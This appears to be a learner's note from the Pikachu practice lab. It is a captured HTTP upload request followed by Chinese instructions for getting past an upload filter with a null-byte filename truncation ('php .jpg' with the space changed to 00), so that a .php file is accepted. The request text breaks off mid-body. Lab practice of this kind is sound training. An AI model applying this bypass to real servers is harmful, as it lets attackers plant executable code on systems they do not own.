POST /pikachu/vul/unsafeupload/clientcheck.php HTTP/1.1
Host: xiu.com
Content-Length: 1728
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://xiu.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybF6p5412ysHQJcwA
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://xiu.com/pikachu/vul/unsafeupload/clientcheck.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=h0dsuqs5ik9jpt4do4seer8l6v
Connection: close
------WebKitFormBoundarybF6p5412ysHQJcwA
Content-Disposition: form-data; name="uploadfile"; filename="xiao.php
把文件名改成 php .jpg
正常上传 文件名是xiaoxiaohhuee.php .jpg
再将空格的十六进制改为00(系统在对文件名进行读取时,如果遇到0x00,就会认为读取已经结束,系统按二进制或十六进制读取文件,遇到ASCII码为0的位置就停止,而这个ASCII为0的位置在十六进制中是00);
成功上传为php